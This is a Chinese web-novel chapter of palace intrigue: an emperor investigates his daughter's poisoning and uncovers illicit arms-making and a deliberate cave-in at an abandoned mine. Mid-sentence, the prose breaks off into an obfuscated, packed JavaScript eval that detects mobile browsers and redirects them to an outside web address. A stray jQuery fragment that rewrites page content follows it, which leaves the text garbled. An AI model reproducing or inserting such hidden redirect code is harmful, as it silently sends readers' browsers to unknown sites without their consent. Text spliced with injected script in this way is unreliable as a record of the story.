永昌八年正月廿五，大雪封城。
紫宸殿的暖炉烧得正旺，却驱不散殿内凝滞的寒意。我坐在叶影榻边，手中药碗腾起苦涩的白雾。小丫头昏迷两日，原本红润的脸蛋瘦削下去，呼吸微弱得像风中残烛。御医署会诊三次，结论皆是“奇毒入髓，药石难愈”，只开了些吊命的参汤。
“父皇…”叶曦蜷在旁边的软椅上，眼睛红肿，“影儿刚才…又喊冷了。”
我替叶影掖紧锦被，指尖触到她冰凉的小手，心头如被针扎。周昭仪那碗参汤，经影卫严查，碗底残渣验出产自南诏的“睡美人”。此毒无色无味，混于温补药材中极难察觉，初时不过体虚嗜睡，日久则沉疴难返，最是阴毒。
“冷…好冷…矿洞…”叶影在昏迷中发出呓语，细若蚊蚋。
“影儿说什么？”叶曦凑近。
“矿洞？”我眉头紧锁。皇城附近矿洞众多，西山、北山皆有废弃矿道。她从未去过那些地方，何来此梦？
殿外传来刻意压低的争执。王德全为难地禀报：“陛下，周老大人…又在宫门外长跪请罪了。”
周显之父，前礼部尚书周文渊，三朝元老。其女赐死后，这老臣已跪了整整一日，白发苍颜覆满积雪，言称教子无方，孙女罪该万死，只求陛下垂怜周家满门忠烈，留周显一命以继香火。此举引得不少清流旧臣侧目，暗流涌动。
“告诉他，”我盯着药碗中沉浮的药渣，声音冷硬，“周显若真清白，待影儿醒来自有分晓。若影儿有不测…周家九族，一个不留。”帝王之怒，伏尸百万。此刻我心中，只有榻上女儿孱弱的呼吸。
“遵旨。”王德全噤若寒蝉地退下。
唐若雪恰在此时踏入殿内，一身寒气。她解下玄色大氅，露出内里素色宫装，眉宇间带着倦色，显然刚处置完朝务。
“如何？”我问。
“周显下狱后，其党羽沉寂，但暗流未止。”她走到榻边，机械左手轻轻搭在叶影腕脉上，蓝光微闪，“脉象更弱了。毒已入心脉，寻常解毒方…难。”她看向我，眼中是罕见的凝重与一丝不易察觉的痛楚。
“西山矿洞。”我沉声道，“影儿昏迷中多次提及。”
唐若雪眸光一闪：“西山…废弃多年，前朝倒是开采过寒铁矿。臣妾已命工部调取旧档。”她顿了顿，“另有一事，周显之弟周明，现任西山卫戍营校尉。”
巧合？我心头警铃大作。周家、**、矿洞…线索隐隐串联。
“报——！”一名浑身是雪的影卫闯入，呈上染血的密函：“雁门关急报！赵老将军将计就计，假意中伏，引鞑靼先锋深入葫芦谷，以‘霜狼’火铳阵伏击，歼敌八千！鞑靼可汗已退兵三十里！”
紧绷的心弦稍松。赵破虏不愧是老成宿将，陈芝儿的“霜狼”也初露锋芒。但密函末尾一句却让心又提了起来：“…俘获敌将供称，其军中所用精铁箭头，疑为…大夏官制。”
官制兵器流落敌手！这比周显通敌更骇人！唐若雪与我目光相触，俱是寒意森然。大夏的军工命脉，恐已被蛀虫蚀空！
“启禀陛下、娘娘，”厉欣怡清冷的声音自殿门传来。她今日未着官袍，一袭天水碧的常服，臂弯搭着件银狐裘，像是来探病的。她目光扫过叶影，眼底掠过一丝复杂，随即恢复平静：“臣妾核查粮市时，发现西山几家大炭商近月交易异常，购入远超所需的石炭，且…多用前朝旧钱结算。”
炭商？矿洞？旧钱？几处线索骤然碰撞！
“西山卫戍营的炭敬，也是这几家供的。”唐若雪冷冷补充。她口中的“炭敬”，实则是边军将领冬季惯收的灰色孝敬。
厉欣怡颔首：“更巧的是，这几家炭行的东主，与周明妻族是姻亲。”她将一份账目抄本放在案上，“大量来路不明的旧钱涌入，冲击了京畿银钱比价，户部已盯了些时日。本想放长线，如今看来…”
“线头就在西山矿洞里！”我豁然起身，牵动伤口一阵闷咳。叶影的呓语、官制箭头、异常石炭交易、周家势力…所有的疑云都指向那废弃的寒铁矿洞！
“陛下不可！”唐若雪拦住我，“您伤势未愈，矿洞深处未知凶险。臣妾已调遣影卫精锐…”
“朕亲自去。”我斩钉截铁。不仅为查案，更因叶影那声“冷”和“矿洞”的呓语，像根刺扎在心里。冥冥中有个声音告诉我，那里藏着女儿一线生机，也藏着动摇国本的毒瘤！
“臣妾随行。”厉欣怡忽然道，“西山炭行账目盘根错节，非亲至不能厘清。”她语气平淡，却带着不容置疑的坚持。
唐若雪深深看了她一眼，又看向我，最终道：“好。臣妾坐镇宫中，一为弹压朝局，二为…”她目光转向昏迷的叶影，机械手指轻轻拂过孩子冰凉的脸颊，“守住影儿。陛下务必…珍重。”
**当夜，子时。西山废矿。**
寒风卷着雪沫，抽打在裸露的岩壁上，发出呜咽般的怪响。废弃的矿洞口像一张择人而噬的巨口，隐没在漆黑的松林中。我裹紧玄色大氅，在数十名精锐影卫的簇拥下，与一身劲装的厉欣怡策马而至。陈芝儿已率一小队“霜狼”提前清场，此刻正守在洞口，机甲的蒸汽在寒夜中凝成白雾。
“陛下，娘娘。”陈芝儿压低声音，指着洞口凌乱的新鲜车辙印和散落的煤渣，“半个时辰前还有车队进出！里面肯定有鬼！”
厉欣怡下马，蹲身捻起一撮煤渣，又凑近闻了闻：“不是寻常石炭，掺了东西…有硫磺和硝石味。”她眼中寒光一闪，“私制**？”
“进去！”我当先踏入阴冷的矿洞。火把的光亮勉强驱散前方丈许的黑暗，洞壁渗着水，寒气刺骨。越往里走，人工开凿的痕迹越明显，岔路渐多，空气中弥漫着一股混合着霉味、煤灰和淡淡**味的诡异气息。
行至一处较为开阔的天然洞窟，眼前景象令人倒吸冷气：洞窟一角堆放着成捆的崭新箭矢，箭簇寒光闪闪，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091061|175763||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尾部赫然烙着工部军器监的火印！另一侧则是堆积如山的劣质石炭，旁边散落着简易的碾磨工具和混合木桶，浓烈的硫磺味正是由此散发。
“果然在私改军械！”陈芝儿怒道，“用劣炭混硫硝，仿制火箭药包！难怪鞑靼箭头像官制！”
厉欣怡则快步走向角落一堆不起眼的麻袋，用**划开，倒出的竟是黄澄澄的前朝“永通”铜钱！数量之多，令人咋舌。“用这些早已废止的旧钱大宗交易石炭，既隐蔽，又能扰乱市价，一箭双雕。”她冷笑，“好个周明！好个西山卫！”
“周明人呢？”我问。
“报！”一名影卫从更深处的岔道返回，脸色难看，“发现一处隐秘工坊，有熔炉、铁砧，但…空无一人！炉火尚温，走得匆忙！地上…地上有打斗痕迹和血迹！”
跑了？我心头一沉。看来我们的人马还是惊动了对方。
“追！所有岔道，仔细搜…”命令未落，异变陡生！
“轰隆——！！！”
一声沉闷的巨响从矿洞深处传来，整个洞窟剧烈摇晃！头顶碎石簌簌落下，烟尘弥漫！
“塌方！保护陛下！”陈芝儿厉喝，“霜狼”机甲立刻展开护盾顶在上方。影卫们迅速结阵。
震动持续了数息才停止。烟尘稍散，只见通往更深处的几条主要通道，竟被坍塌的巨石堵得严严实实！
“是人为爆破！”陈芝儿检查着塌方处焦黑的痕迹，“他们想封死里面！”
里面有什么？值得如此灭迹？
厉欣怡捂着口鼻，在烟尘中细细搜寻，忽而蹲下身，从碎石缝中捡起一物，脸色骤变。
“陛下…请看此物。”
她掌心托着的，是一枚小巧的、沾着泥污的赤金镶玉长命锁。锁身錾刻着精巧的百子图，背面却有一行微不可察的小字：
「永昌元年贺皇长子满月」
我如遭雷击！这枚长命锁…是当年叶影叶曦百日时，我亲手为她们打制的！影儿的那枚，数月前就说丢了，怎会出现在这阴森矿洞的深处？！
“影儿…”我攥紧那冰凉的金锁，望向那被巨石封死的黑暗深处，女儿昏迷中“冷…矿洞…”的呓语在耳边轰鸣。一个可怕的猜想，伴随着刺骨的寒意，瞬间攫住了心脏。
这西山矿洞深处，恐怕不仅藏着军械黑市和前朝余孽…更可能埋藏着一段被刻意抹去、足以颠覆宫廷的血色秘辛！
“给朕…挖开它！”声音嘶哑，带着帝王不容置疑的杀意，“活要见人，死…要见尸！”
陈芝儿得令，立刻指挥“霜狼”机甲，巨大的机械臂开始轰击那些堵塞通道的巨石，沉闷的撞击声在矿洞中回荡，如同敲响了通往地狱的门扉。
厉欣怡默默退至我身侧，望着那烟尘弥漫的塌方处，低声道：“陛下…恐已打草惊蛇。幕后之人，怕是已至图穷匕见之时。”
我摩挲着金锁上冰凉的纹路，目光穿透黑暗。
“那就让这匕，见见血吧。”